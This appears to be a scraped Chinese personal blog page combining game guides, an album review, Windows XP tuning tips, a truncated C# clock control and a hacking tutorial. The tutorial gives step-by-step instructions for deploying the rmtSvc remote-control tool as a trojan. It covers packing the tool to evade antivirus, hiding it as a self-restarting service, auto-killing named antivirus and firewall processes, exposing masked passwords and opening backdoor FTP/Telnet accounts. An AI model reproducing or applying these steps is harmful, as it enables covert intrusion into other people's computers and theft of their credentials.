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用户名:moweiqi2 笔名:米琪米 地区: 江苏-徐州 行业:其他 |
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一个女生看了会哭,男生看了沉默的文章!
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魔兽真三国无双我之看法
| 1 | 1 魔兽RPG真三国无双3.9d人物使用简介(老鸟片) | |
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| 作者: 匹马_单枪 2006-6-14 15:59 回复此发言 | ||
| 2 | 1 魔兽RPG真三国无双3.9d人物使用简介(老鸟片) | |
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| 作者: 匹马_单枪 2006-6-14 15:59 回复此发言 | ||
| 3 | 1 魔兽RPG真三国无双3.9d人物使用简介(老鸟片) | |
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| 作者: 匹马_单枪 2006-6-14 15:59 回复此发言 | ||
实况足球6基础系统详解
操作篇
1. 带球
A.普通带球 方向键
这是最基本的带球,你可以轻松的转身变向。
速度: **
灵活度:****
转身角度: 45/90/135/180
护球:*1/2* (一又二分之一星)
B.全速带球: (R1+方向键)
最高速带球,可用来增加射门力量。
速度:****
灵活度:*
转身角度:22.5/180
护球:1/2*
C.高速带球(R2+方向键)
比用R1安全。
速度:***
灵活度:**1/2*
转身角度:45/90/180
护球:*
D.慢速带球(在带球时不要按方向键 R1 R2)
等于以前的L1带球。用于做假动作晃对手和等自己队员。
速度:1/2*
灵活度:***1/2*
转身角度:45/90/135/180
护球:**
2. 特殊带球技巧
A.在全速带球时点前几次
比全速带球更快,速度普通得球员也能以难以想象得速度前进。但灵活度最低--难道是超速跑!
B.方块+叉+方向键(假射)
和以前的we一样,不过你可以决定扣球的方向。
C.连点L1(护球1)
增加你在带球时对两边和后方的防护,可以在使用此技巧时换方向。
D.连点R2(护球2)
球员会快速的作一次此技巧。增加你在带球时对两边和后方的防护,而且灵活度比用L1更高。
E.方向键+R2(突然右角度变换)
(Sudden right angle change in direction with directional button + R2) (这句话不是很清楚)
在使用技巧后,球员自动慢速前进。可连续多次运用。
F.跳 (当对手铲球时,方向键+R2)
动作难度增加(四周跳?),不过效果也增加了。
G.两脚假动作
球员必须有此特殊能力(前->右前 或 左前->前)
可以在对手无反应下过人
在突击时很有用
H.高速双脚假动作 (前->R2+右前 或 左前+R2+前)???原文可能有误……
I.180度转身 (带球时按后)
135度转身 (带球时按右后或左后)
在球员后转时时不可侵犯的. 原文是“无敌”的
在转身时按R1或R2会把球会离身体的更远
J.停球 (放开所有键,按R2)
3. 特殊控球技巧
A.在移动时,接球一瞬间按R1,或R2
这是一个高级技巧,在大角度转身时有用。
B.漏球 (接球一瞬间,不按任何方向键,按下R2)
C.动作取消 (当球员自动追球时,按R1+R2)
在掷界外球时很有用
D.当球在空中时, 按R2可以自由移动你控制得队员)
抢位更好了 :)
4. 攻击控制
传球
A.短传 (X)
B.不停球短传球 (接球前按 X)
C.长传 (O)
分为自动和手动,(默认自动)
D.不停球长传 (接球前按 O)
E.转移 (面对球场的另一边是按O)
F.直传 (三角) (空当传球)
G.空中空当传球 (L1 + 三角)
H.高高度传中(对方禁区边 按O)
不同的设置会有不同的传球范围。
I.中高度传中 (对方禁区边 按O二次)
J.贴地传中 (对方禁区边 按O三次)
K.高弧线传中 (对方禁区边 R2+圈)
比高高度传中更高更慢。
L.快速传中 (L1+圈)
不管你的位置,你都可以将球传向对方禁区。
M.地面二过一 (L1+X-> 队友接球时按三角)
N.空中二过一 (L1+X->队友接球时按圈)
O.传&跑 (按X传球后->按R2) (就是假二过一)
P.手动短传 (右手柄R3?)
Q.手动长传 (L1+右手柄)
5. 射门
A.普通射门 (口)
跑动中,射门力量增加但精确度下降。
B.不停球射门 (接球前,按口)
C.低吊 (按住L1按口)
D.高吊 (按口时,按R1)
系统篇
以下是游戏的基本点,有经验的玩家可能会觉得没用。 :)
I. 游戏模式
在加载完游戏后,你会看到所有的游戏模式。
下面的游戏模式的顺序和你在游戏中一样:
1. Match Mode
比赛模式
这是最基本的模式,你可以和你的朋友或cpu对战。你也可以在此模式下从记忆卡加载你的master league队伍。
2. League Mode
联赛模式
你可以在此模式下,选择一国家队与另15个国家队进行联赛。你可以选择5级难度。
3. Cup Mode
杯赛模式
注: tournament 特制赛会制的比赛
你可以选择亚洲杯,欧洲杯,美洲杯和世界杯等等。但每个杯都会限制你所能选的国家队。选择特定球队玩特定杯赛,你就可以得到隐藏球队。
4. Master League Mode
这个不用翻大家都知道.
游戏一共有40个俱乐部队供选,你可以通过打比赛获得点数去购买球员。下面有更详细解释。
5. Training Mode
训练模式
挑战模式加入!你可以在制模式下挑战不同的训练项目,包括带球,传球,射门等等。如果你获得足够分数,会有隐藏队员出现。
6. Edit Mode
编辑模式
你可用此模式编辑队员名,能力,俱乐部名和队旗等。你也可以为俱乐部和国家队创造新球员。
7. Game Option
游戏设置
包括自动储存,加载设置文件,保存设置文件,加载we5数据和加载we5fe数据等. 你也可以在此模式下播放你所储存的进球。
II. MASTER LEAGUE
有三个组别,你可以从丙组打到甲组。
与以前master league不同的是新的ML有杯赛,友谊赛以及季后赛。
以下是每个组别的流程图:
DIVISION 3
丙组(8个俱乐部队)
14 场联赛
TINY CUP
(只有丙组球队参加)
promotion league
附加升级赛(在每个赛季后丙组前两位与乙组后两位进行的附加赛)
附加赛头两位晋级。
乙组(16支俱乐部队)
30场联赛
MASTER CUP
大师杯? (一共有来自乙组和甲组的32支球队参加)
联赛前四名升级
甲组 (16支球队)
30场联赛
MASTER LEAGUE CHAMPIONSHIP
冠联赛(由赛季后前四位的球队参加,决定冠军)
赢得甲组冠军!
注意:
1. GAME OVER:
游戏结束条件:1)没有足够的点数去维持你的俱乐部。例如,无法支付队员工资; 2)队伍不足15人。
2.Changeable difficulties:
难度改变: 你可以随时在设制中改变游戏难度. 一共三种难度供选:容易,普通,困难。(EASY,NORMAL and HARD.)如果你想要玩最高难度,你只能在一个联赛开始前选,而且不能在此联赛过程中更改。
III. MASTER LEAGUE (PLAYER TRANSFER)
(队员转会)
转会系统在WE6里有了很大改变,新系统更接近于真实。就算你有很多的点数,你也不一定很容易的得到你索要的球员。
注意:
每队最多只有40个队员。在以前的WE系列中,不管是国家队还是俱乐部队,每队只能由22个队员。在本作中, 你的俱乐部队可以拥有最多四十名球员,因为在游戏中加入了一种新的原素--球员进化。不过必须注意的是: 每场比赛中还是只能选择22名队员参加,居然有预备队的概念了啊。
1.球员转会流程图
俱乐部球员或自由球员(国家队员或元老队员)
决定球员买入所需点数。
总合同点数=合同点数(注:球员工资)*签约时间+转会点数(就是对方俱乐部会向你索取的转会费)
自由身球员无需转会点数(游戏会自动为你计算转会点数)
一场比赛后,你可以知道你是成功或失败。
2. 转会点数的计算
转会点数大约是球员的合同点数(球员工资)的10倍。
3. 合同点数每场比赛都要支付
如果你与对方俱乐部协商成功,你只需要即刻付出转会点数。剩下的总合同点数将除以赛季伦数,然后每场比赛后支付。(就是球员工资啦)
丙组: 球员比赛数为14 (因为每赛季14场比赛)
甲乙组,球员比赛数为30
因此,你并不需要一次支付所有的工资。
注意:
游戏中为你计算的买入点数并不一定是正确。你如果只付游戏为你计算的点数的话,转会要求一般都会失败。你必须在此点数上增加至少50%或80%以增加转会成功的机率, 队员在原俱乐部的重要性也会影响转会成功的机率。太黑了阿。
4. 太贵? 租借吧。
如果你没有足够的点数,你可以考虑租借球员. 那么,你在每场比赛后只需要支付租借费.不过不好的是: 你可租借的球员很少. 因为,其它俱乐部不会把自己顶尖的球员租出
5. 什么时候你可以向其他俱乐部提出转会要求。
你必须知道在一个赛季中你什么时候可以买球员。转会交易期有两个,赛季中和赛季前。
赛季中
丙组: 在第三轮到第十轮之间.
甲乙组,7到22轮之间
赛季前
在赛季前有8轮的时间,你可以进行转会协商. 你也可以在其中的后四轮打友谊赛赚取点数。
注意:
当你在选要买的球员时, 你会发现在自由身球员中, 有一些很便宜,能力很低的球员名字边上会有一个种子的符号. 这表示你可以用“培育点数”(球员进化点)来培育此球员。在两场比赛间,你可以选择一个培育队(由这些可培育球员组成)。你可用“培育点数”加在可培育球员上、他也许会成长为一位明星球员!
6. 在每场比赛后你获得的点数
丙组
胜 700 平 500 输 0
D3 TINY CUP
丙组下级杯
第一轮胜 1000
第二轮胜 2000
冠军 2500
D3 PLAYOFF
丙组季候赛
胜 700 平 500 输 0
乙组
胜 600 平 450 输 0
大师杯
第一轮胜 1000
第二轮胜 1250
第三轮胜 1500
半决赛 2500
冠军 5000
甲组
胜 700 平 500 输 0
ML CHAMPIONSHIP
胜 700 平 500 输 0
晋级和其它奖励
友谊赛胜 172
从丙组到乙组 5000
乙组到甲组 7500
丙组 金靴奖(GOLDEN BOOT)250
丙组 最多助攻(MOST ASSIST) 250
乙丙组每个进球(GOAL)40
甲组每个进球 50
大家好希望大家能当黑客谢谢
如果我问你IE能做什么?你的答案绝对不完整!IE可不仅仅能浏览网页。如果我再告诉你IE还能用来远程控制、远程传输、进程管理、代理服务,甚至远程开启Telnet、FTP服务等等呢?你一定觉得不可思议吧,有了rmtSvc&vIDC,这一切皆有可能!
一、有IE 想黑就黑
简单点说,rmtSvc是一款集FTP、Telnet服务、Proxy服务以及vIDC服务的远程控制工具。用户可以通过此款工具方便地对远程计算机进行控制。此工具和其它远程控制工具不同,它采用B/S结构(无需安装),用户可通过浏览器进行远程控制(我们的口号是:有IE,想黑就黑!)。
下面,笔者就以入侵控制的实例来为大家分别介绍rmtSvc常用功能的使用方法及技巧。解压下载后的压缩包,先别急着让rmtSvc.exe在目标机运行(未加壳的程序会遭到杀毒软件的查杀),笔者先告诉大家如何给源程序加壳从而避免被查杀吧(不然就没得玩了-_-|)。运行该软件,进入“选项”菜单,勾选“保留额外数据”,然后“打开文件”,选择源程序rmtSvc.exe后就会自动压缩了。
特别提醒:压缩后的rmtSvc.exe不会被杀毒软件查杀,而且文件体积会减少近50%(经过金山毒霸6增强版、KV2005、诺顿2005测试),如果想进一步增强隐蔽性,请参考电脑报2004年第50期G9版《披着羊皮的狼——将Radmin改造为百分百木马》一文介绍的“超级捆绑”软件的使用方法。木马程序的欺骗发送本文就不作进一步讨论了。
二、武装rmtSvc “暗杀”杀毒软件
1.打开浏览器输入http://IP:port(其中IP为被控机的IP地址,port为rmtSvc的服务端口,默认为7778)。连接成功后将会看到如图1的欢迎登录画面,输入访问密码(默认为123456),就可以进行rmtSvc所支持的操作(如果之前已经连同msnlib.dll和webe目录都发给了对方,那么rmtSvc将会多出用MSN进行远程控制和HTTP方式文件管理的功能)。

2.欢迎登录画面的上方为rmtSvc的系统菜单,从左至右的功能依次为:Pview (进程查看)、Spy++(远程控制管理)、Proxy(启动或停止rmtSvc的代理服务)、vIDC(设置vIDCs的访问权限)、logoff(注销对rmtSvc登录)、Option(配置rmtSvc的运行参数)、About(rmtsvc欢迎/登录画面)。
3.第一次登录需进入rmtSvc的参数设置更改敏感信息(图2),这样才能保障其安全性。先在“Modify Password”修改rmtSvc访问密码,再在“Service Port”更改rmtSvc服务端口为任意一个4位不常用的端口(需要重启服务才会生效,建议设为高端端口)。然后将“Start Control、Stolen mode”选上,这样rmtSvc会自动安装为Windows服务随机启动且服务为隐藏属性,这也就意味着在下次启动时,你可以继续控制目标机器。

4.接下来在“Start mode”选项中,设置rmtSvc运行后自动启动FTP和Telnet服务(另外还有Proxy、vIDCs映射等)。通过FTP可以方便地进行文件上传下载。再将“Auto install service”和“Forbid detaching Dll”选择上,这样每次程序运行时会自动检测rmtSvc服务是否已安装,如果没有安装则自动安装为服务(相当于自我修复功能)并释放一个DLL文件(可修改文件名,默认为inject.dll),这是为了防止自动释放的未加壳的DLL被杀毒软件查杀,用户可以选择不释放DLL。手工将加壳后的DLL拷入到被控机的系统目录下,在释放DLL的名称处填入你加壳后的DLL名称。
高手传经:rmtSvc释放的DLL主要有以下用处:隐藏进程、模拟“Ctrl+Alt+Del”按键、显示密码框密码、监视rmtSvc运行情况。如果异常退出或被杀掉则会自动重新启动将配置参数写入rmtSvc程序本身(强烈建议选择)。
5.接下来在“Killed Program”中,设定rmtSvc监视并自动杀掉的进程名称,如有多个进程,各个名称之间以逗号分隔。例如输入:PFW.exe,KAVSvc.exe就可以把金山毒霸和天网防火墙关闭。
6.一切设置无误后,点击“Save”保存当前配置,在弹出的对话框中输入reg,将配置参数写入到注册表。输入self则是将配置参数写入该EXE文件自身,如果填写其它则会生成相应文件名的.exe的副本,并将配置参数写入此EXE副本。例如:输入c:\abc.exe,将在c盘根目录下生成一个abc.exe副本,并将配置参数写入此副本。
7.随后rmtSvc服务会重新启动运行。
高手传经:隐藏模式下才可以将配置参数写入EXE本身,如果没有保存,每次在rmtSvc正常退出时也会将配置参数写入EXE本身。
8.再次使用新设密码登录后,单击Pview进入“进程查看”页面,在这里将显示三个部分的信息:系统信息、进程/模块信息、CPU/内存使用信息。在页面的右边为进程模块显示区域,点击某个进程名则显示此进程的相关模块信息,点击“Kill It”按钮就可以杀掉该进程(需要注意的是进程列表不会实时自动刷新,用户必须手工刷新)。现在你的rmtSvc已经被武装到了牙齿,还等什么,可以出手了。
三、用IE控制过把瘾
把挡路的安全软件给“暗杀”后,接下来就可以趁对方不在时使用Spy++远程控制管理来远程控制机器了。当然在控制前我们需要将相关参数设置妥当,这样才能得到更好的控制效果。
1.在“Quality”显示效果中选择Good(好),“Stretch”设置捕获图像的缩小比率80%。最后将“Cursor”选上,这样在捕获远程计算机屏幕时就会连同鼠标光标一起捕捉,以便用户知道当前鼠标光标位置。设置好后点击“Set”使上述三个参数生效。
2.接下来就可以尝试控制了。当远程桌面图像处于焦点状态(鼠标在图像区域内),你就可以直接敲击键盘发送按键信息,和你操作本地机器一样。但是对于输入大段的文本这是非常不方便的,因为你的每次按键动作都会作为一次HTTP请求发出,输入速度很慢。
如果你想输入大段文本,可以将鼠标选中Input输入框,然后输入你想要发送的文本,按下回车即可;如果选中了Crlf复选框,则在你输入的文本后面会自动加入回车换行。
3.但是在进行远程计算机登录时,有些机器可能无法通过Input输入框直接输入登录密码,只能通过模拟键盘输入登录密码。方法如下:通过鼠标直接点击桌面图像,系统会自动识别你的鼠标的单击、双击键信息。如果你在按下鼠标的同时按下了“Shift”、“Alt”或“Ctrl”键,系统也能自动识别。
4.为了更方便地控制远程桌面,可以将远程桌面图像设为自动刷新,这样就不会出现有动作发出而图像没有变化需要手工刷新的情况了。方法如下,勾选“Auto-refresh”项,在右边输入自动刷新间隔,默认为500ms。
高手传经:如果想知道远程被控机中密码框中的密码。则需要用到Password→Text项,在有密码框时此项会变为Text→Password。此时只要用鼠标左键点击远程桌面图像的密码输入框,则远程被控机密码框中的密码会被翻译成明文显示。如果你取消此项功能,点击Text→Password项即可,此时此项就会变为Password→Text。
5.如果要远程执行程序,选择Start下拉列表框的Run项,输入你要远程执行的文件名和参数即可,使用方法和Windows的开始菜单的运行命令一致。
如此这般,通过IE就能像操作本机一样控制目标机了。
四、FTP/Telnet 一个都不能少
远程控制似乎并不能让我们感到满足,那就再来开启对方的FTP/Telnet服务,彻底过把入侵瘾吧。
1.进入“FTP&Telnet”菜单,点击FTP/Telnet服务旁边的“Run”就可以启动相关服务了。FTP/Telnet port:设置FTP/Telnet服务的端口,默认FTP为2121,Telnet为2323。Anonymous access:设置访问FTP服务的权限,是否允许匿名访问(enable),如果不允许则设置访问的用户名和密码。
2.另外,我们还要允许设置不同访问的账号,每个账号可以指定是否可写/可删除/可执行以及设置不同的FTP根目录。可以在FTP设置的文本输入框中输入多个访问账号信息,各个账号信息用回车换行分隔,账号信息格式如下:
[账号名] SP [密码] SP [访问权限] SP [允许访问的目录] CRLF
高手传经:设置PERMISSION(访问权限)时,0:仅仅只读,1:可写,3:可写并且可删除 7:可写可删除可执行。例如:[cytkk] sp [123456] sp [7] sp [c:] 就建立了一个拥有管理员权限,密码为123456的cytkk账户。
3.此时FTP账号信息仅仅写入注册表保存,不会保存到EXE中。
现在就可以利用FTP工具和Windows自带的Telnet工具进行登录和操作了,此时你想怎么玩就怎么玩吧!
到此,rmtSvc基本功能的使用大家就已经学会了,限于篇幅,它更多的功能就不在此一一举例了,有兴趣的朋友可以通过论坛与我们共同探讨。
加油吧朋友们人生就是这样的.
手绘二战飞机


施艾敏《发烧杰伦》

施艾敏《发烧杰伦》
专辑名称:发烧杰伦
唱片公司:怡人唱片
歌手姓名:施艾敏
发行日期:2006年05月09日
专辑语言:国语专辑
专辑简介: 
仿如一场精挑细选而又囊括全面的发声游戏, 在全然不同的音乐氛围中, 女孩的歌唱竟有如此全然不同的清晰…… Sammy intraocular 发烧杰伦 Hi-Fi新赏听,杰出的歌和无与伦比的歌声……
《发烧杰伦》里的歌都是周杰伦的,所以意念中它们是个性、另类的,《发烧杰伦》里演绎它们的是施艾敏,音乐居然变得淡然、细腻、唯美。用一样的音乐元素,呈现出迥然不同的听觉效果。谁开口唱了,就是谁的故事,现在让我们绕开那个喜欢用带帽衫罩住自闭、语出惊人的原唱,到《发烧杰伦》里倾听一个女生的叙述,没有了我们习惯的、属于杰伦特质:节奏带来的颓然、欲言又止、刺激呛声后的缓滞,代而取之的是拥有丝绒般质感的细腻、干净到没有杂质的淡然,含蓄而从容的表达。
专辑的制作者非常清楚,杰伦是无法复制的,但音乐没有限制,风格可以自由无阻,所以,专辑没有像一般翻唱杰伦的歌曲那样,延续R&B的风格。用HI-FI音乐的方式演绎周杰伦,可以说是完全摆脱原唱的新颖尝试。
如果说本来《上海一九四三》里异常生动的鼓让我们看到新世代的怀旧的话,那么在这里,拥有了特色乐器,比如二胡、笛、大鼓的独特编配后,音乐打破了时空界限,置身1943年的上海的感觉忽然逼真起来。《东风破》里异域的东风呼啸破空,在中东、欧陆、华夏风情融合的氛围中,你将听到一个真真切切、委委婉婉诉说情怀的女孩的声音。《七里香》、《安静》和歌名一样芬芳的编曲似乎就是为SAMMY的声音量身定做的。
如果动听和动心是音乐的至高标准,那就无须执着原唱、无须抱着所谓的风格,放心看这次SAMMY施艾敏06年新的HI-FI尝试,安心跟SAMMY玩儿这场精挑细选而又囊括全面的发声游戏吧。
曲目
01. 爱情悬崖
02. 发如雪
03. 世界末日
04. 简单爱
05. 东风破
06. 安静
07. 斗牛
08. 七里香
09. 开不了口
10. 龙卷风
11. 上海1943
12. 对不起
试听 七里香

优化机子
1、 缩短等待时间
打开注册表编辑器,找到 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control,将 WaitToKillServiceTimeout 设为:4000(原设
定值:20000)。找到 HKEY_CURRENT_USER\Control Panel\Desktop 键,将右边窗口的 WaitToKillAppTimeout 改为 4000(原设定值:
20000),即关闭程序时仅等待1秒。将 HungAppTimeout 值改为:2000(原设定值:5000),表示程序出错时等待0.5秒。
2、 让系统自动关闭停止响应的程序
打开注册表 HKEY_CURRENT_USER\Control Panel\Desktop 键,将 AutoEndTasks 值设为 1(原设定值:0)。
3、 加速共享查看
打开注册表编辑器,把HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\RemoteComputer\NameSpace
下的 {D6277990-4C6A-11CF-8D87-00AA0060F5BF} 删掉
4、 加快Windows XP的启动:
(1)在注册表中找到:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\MemoryManagement\PrefetchParameters,其中有一个键值
名为EnablePrefetcher,把它设为1.
(2)"我的电脑"->"属性"->"高级"->"启动和故障修复"中,点"错误报告",选择"禁用错误汇报"、"但在发生严重错误时通知我"。
(3)点击"编辑",在弹出记事本文件中:
[Operating Systems]
timeout=30 //把缺省时间 30 秒改为 0 秒
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect //把缺省 fastdetect 改为 nodetect
注册表修改方法:"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control" ,SystemStartOptions键值改为NODETECT。
5、优化“启动和故障恢复”设置:
右键单击“我的电脑”,点击属性,点击“高级”,在“启动和故障恢复”
一栏中,点击“设置”,其中的“系统失败”一栏中,只选择“自动重新启动”,写入调试信息选择“无”。
6、关闭“Internet时间同步”功能:
如果启用了同步,你的计算机时钟每周就会和 Internet 时间服务器进行一次同步,建议关掉它(一个没多大用的功能)。请依次单击“开始”
→“控制面板”→“日期、时间、语言和区域选项”,然后单击“日期和时间”→“Internet时间”。
7、关闭华医生Dr.Watson:
在"开始"->"运行"中输入"drwtsn32"命令,或者"开始"->"程序"->"附件"->"系统工具"->"系统信息"->"工具"->"Dr Watson",调出系统里的华
医生Dr.Watson ,只保留"转储全部线程上下文"选项,否则一旦程序出错,硬盘会读很久,并占用大量空间。如以前有此情况,请查找user.dmp文件,
删除后可节省几十MB空间。
8、取消对zip文件的支持:
运行,敲入:regsvr32 /u zipfldr.dll 然后回车即可。
9、关掉快速切换功能:
方法如下:控制面板-->用户帐户,点击“更改用户登陆或注销方式”,去掉“使用快速用户切换”就可以了。
10.定制特殊的启动提示
注册表:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
中的"LegaNoticeCaption"是登陆提示语言,“LegalNoticeText”是欢迎词。
11.关闭windows的文件保护
默认状态下是无法删除windows系统和程序文件的,所以警告!!!!!!!!!!!!!!!! 注册表:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
WindowsNT\Curren tVersion \winlogon 中的“SFCDisable”将它的值改为“ffffff9d”
12.windowsXP的内存优化!!!!!!!!!!!!(警告!!!!!以下设置需要有256M以上的内存才能有好的效果!!!)
注册表:
HKEK_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management
中的:禁用内存页面调度: DisablePagingExecutive 值改为“1”
提升系统缓存: LargeSystemCache 值改为“1”
13.修改cpu的二级缓存
在正常情况下,xp会自动识别cpu的二级缓存。但有时xp不会这样做,这样就需要手动优化以改善cpu的
性能。
a.)运行"regedit";
b.)去"[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\
Memory Management\SecondLevelDataCache]";
c.)修改他的十进制:
AMD Duron: 64(kb);
CeleronA/celeron2/3/P4A:128;
PII mobile/PIII E(EB)/P4B/AMD K6-3/AMD THUNDERBird/Cyrix III:256;
AMD K6-2/PII/P4C/AMD Athlon:512;
PII Xeon/PIII Xeon/P4E:1024;
e.)重启。
14.修改磁盘缓存以加速xp
磁盘缓存对xp运行起着至关重要的作用,但是默认的I/O页面文件比较保守。所以,
对于不同的内存,采用不同的磁盘缓存是比较好的做法。
a.)运行 "regedit";
b.)去[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\
Memory Management\IoPageLockLimit];
c.)根据你的内存修改其十六进制值:
64M: 1000;
128M: 4000;
256M: 10000;
512M或更大: 40000.
d.)重启
15.减少磁盘扫描等待时间
在dos下,键入“chkntfs/t:0”
16.解除带宽限制
运行----gpedit.msc-----管理模版-----网络----QoS数据包调度程序---限制可保留带宽---启
动-----下面输入 0 ----确定---------在你的拨号图标右健属性找到网络-----看看有没有QoS
数据包调度程序-------如果没有点安装-----服务------添加----选QoS数据包调度程序----看
看有没有打勾----有就代表成功了--------重启---ok!
17.取消系统休眠支持
右键属性-屏幕保护程序-电源-休眠-取消
18.关掉视频预览
运行一下这个命令:“REGSVR32 /U SHMEDIA.DLL”
19.不能关闭的服务(或者一般不宜关闭的服务)
windows audio声音
cryptographic services -windows更新时用来确认windows 文件指纹的,我更新时才开启一下
DHCP client-静态IP者需要
Logical Disk manager -磁盘管理服务
*Event Log - 系统日志纪录服务,很有用于查找系统毛病
COM+Event system application一些 COM+ 软件需要,检查你的 c:\program files\ComPlus Applications 目录,没东西可以把这个服务关
*Workstation -很多服务都依*这个服务,支持联网和打印/文件共享的
Machine Debug Manager
Network Connections - 上网/局域网要用
*Plug and Play - 即插即用
Protected Storage-储存本地密码和网上服务密码的服务,包括填表时的“自动完成”功能
*Remote Procedure Call (RPC) -系统核心服务
security accounts manager-像 Protected Storage, IIS Admin 才需要
system event notification-记录用户登录/注销/重起/关机信息
shell hardware detection-给有些配置自动启动,像内存棒,和有些cd驱动等
Print Spooler -打印机用的
themes -给xp打扮的东东
*Windows Management Instrumentation - 满重要的服务,是管"服务依*"的
20.卸载无用的动态链接
资源管理器经常在内存中留下无用的动态链接,为了消除这种现象,你可以打开注册表编辑器,设置键值:HKEY_LOCAL_MACHINE\
SOFTWARE \Microsoft\Windows\CurrentVersion\Explorer\AlwaysUnloadDLL(字符串值)将其设为1
21.在关机时清空页面文件
打开“控制面板”,点击“性能和维护”-“管理工具”→“本地安全策略”→“本地策略”→“安全选项”,双击其中“关机:清理虚拟内存页面文件”
一项,点击弹出选单中的“已启用”选项,单击“确定”即可
22.Windows XP 安装好后,如何把FAT 32转化为NTFS
使用convert命令,在命令行模式下用convert.exe这个命令随时转化的。例如:convert c: fs:ntfs把c盘转化为NTFS
23.验证Windows XP是否已激活
在运行中输入“oobe/msoobe /a”;版本号可以通过WINDOWS(XP安装目录)system32/NTOSKRNL.EXE,鼠标右键 -> 选内容查看即可
24、删除Windows XP中不需要的组件
1)、删除系统文件备份,执行sfc.exe /purgecache
2)、删除驱动备份,删除WINDOWS(XP安装目录)\driver cache\i386目录下的Driver.cab文件
3)、删除DLL备份文件,目录为WINDOWS(XP安装目录)\system32\dllcache,
4)、删除WINDOWS(XP安装目录)\ime下不用的输入法
25.让IE使用多线程下载网页:注册表子键:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings,
新建DWORD值.
“MaxConnectionsPerServer”,此项的作用是决定最大同步下载的连线数目,一般5~8个连线数目比较好。另外,
对于HTTP 1.0服务器,可以加入名为“MaxConnectionsPer1_0Server”的双字节值项,其值也是设置最大同步下载的数目。
26.到微软站点下载Bootvis.exe文件,启动它,
依次选择菜单里面的Trace--Optimize System,这时候系统会提示是否重新启动,选择启动,重启登录以后什么都别动,过一段时间会自动
弹出一个对话框,对话框上写着系统分析的意思,你什么都别做,要一直等到提示分析完毕以后才能够操作你的系统,分析时间有点长,请
耐心等待。
27.桌面图标的小箭头去除
首先,单击“开始”按钮,选择“运行”,在运行对话
框中键入regedit后回车,即可进入注册表编辑器,选择HKEY_CLASSES_ROOT
\lnkfile,在右边的窗口中找到字符串值“isshortcut”,按DELETE键将其
删除。然后,仍在HKEY_CLASSES_ROOT \ 下找到piffile,同样在其右边窗
口中将字符串值“isshortcut” 按 DELETE键将其删除。最后,关闭注册
表编辑器,重新启动WINDOWS,那个烦人的小箭头已经没有了。
我在宿舍的一些照片谢谢
使用C#编写LED样式时钟控件
namespace BrawDraw.Com.PhotoFrame.Net.PublicFunctions.Clock
{
/// <summary>
/// Clock's Style.时钟的样式定义
/// </summary>
public enum SevenSegmentClockStyle
{
DateOnly, // 只显示日期
TimeOnly, // 只显示时间
DateAndTime //显示日期和时间
}
}
//--------------------------(如转载,请保留版权信息)-------------------------//
// ------------------moweiq2@163.com莫伟琪编程--------------------------//
// ----------------------------- moweiqi2.bokee.com----------------------//
// -------------------- 未经书面许可,请勿用于商业用途 ---------------------//
using System;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Globalization;
using System.Windows.Forms;
using BrawDraw.Com.PhotoFrame.Net.PublicFunctions;
using System.ComponentModel;
namespace BrawDraw.Com.PhotoFrame.Net.PublicFunctions.Clock
{
//这是控件的关键代码
public class SevenSegmentClock : UserControl
{
DateTime _dateTime;
//默认使用同时绘制日期和时间
SevenSegmentClockStyle _clockStyle = SevenSegmentClockStyle.DateAndTime;
Color _clockColor = Color.Black;
//是否绘制阴影(即残影),以摸拟真似的LED时钟
bool _isDrawShadow = true;
Timer _timer = null;
//是否自动更新时间
bool _isTimerEnable = false;
Graphics g = null;
Bitmap m_Bitmap = null;
public bool IsDrawShadow
{
get { return this._isDrawShadow; }
set
{
this._isDrawShadow = value;
this.Invalidate();
}
}
[Browsable(false)]
public System.Windows.Forms.Timer Timer
{
get { return this._timer; }
set
{
this._timer = value;
if(_timer != null)
{
_timer.Tick += new EventHandler(TimerOnTick);
}
}
}
public bool IsTimerEnable
{
get { return this._isTimerEnable; }
set
{
if(value == true)
{
if(this._timer == null)
{
_timer = new Timer();
_timer.Tick += new EventHandler(TimerOnTick);
_timer.Interval = 1000;
_timer.Enabled = true;
}
}
else
{
if(this._timer != null)
{
_timer.Enabled = false;
}
}
this._isTimerEnable = value;
}
}
public void Start()
{
this.IsTimerEnable = true;
this.Refresh();
}
public void Stop()
{
this.IsTimerEnable = false;
}
public System.DateTime DateTime
{
get { return this._dateTime; }
set { this._dateTime = value; }
}
//LED文字的颜色
public System.Drawing.Color ClockColor
{
get { return this._clockColor; }
set
{
this._clockColor = value;
this.Invalidate();
}
}
public SevenSegmentClockStyle SevenSegmentClockStyle
{
get { return this._clockStyle; }
set
{
this._clockStyle = value;
this.Invalidate();
}
}
public SevenSegmentClock()
{
Text = "Seven-Segment Clock";
//使用双缓冲,支持透明绘制
SetStyle(ControlStyles.UserPaint | ControlStyles.DoubleBuffer | ControlStyles.AllPaintingInWmPaint
| ControlStyles.ResizeRedraw | ControlStyles.SupportsTransparentBackColor, true);
this.UpdateStyles();
Init();
_dateTime = DateTime.Now;
}
//初始化
private void Init()
{
m_Bitmap = new Bitmap(this.Width, this.Height);
g = Graphics.FromImage(m_Bitmap);
g.CompositingQuality = CompositingQuality.HighQuality;
g.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit;
//g.InterpolationMode = InterpolationMode.HighQualityBicubic;
g.SmoothingMode = SmoothingMode.HighQuality;
//g.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit;
}
void TimerOnTick(object obj, EventArgs ea)
{
DateTime dtNow = DateTime.Now;
dtNow = new DateTime(dtNow.Year, dtNow.Month, dtNow.Day, dtNow.Hour, dtNow.Minute, dtNow.Second);
if (dtNow != _dateTime)
{
_dateTime = dtNow;
Invalidate();
}
}
protected override void OnPaint(PaintEventArgs e)
{
m_Bitmap = DrawClock();
Graphics gg = e.Graphics;
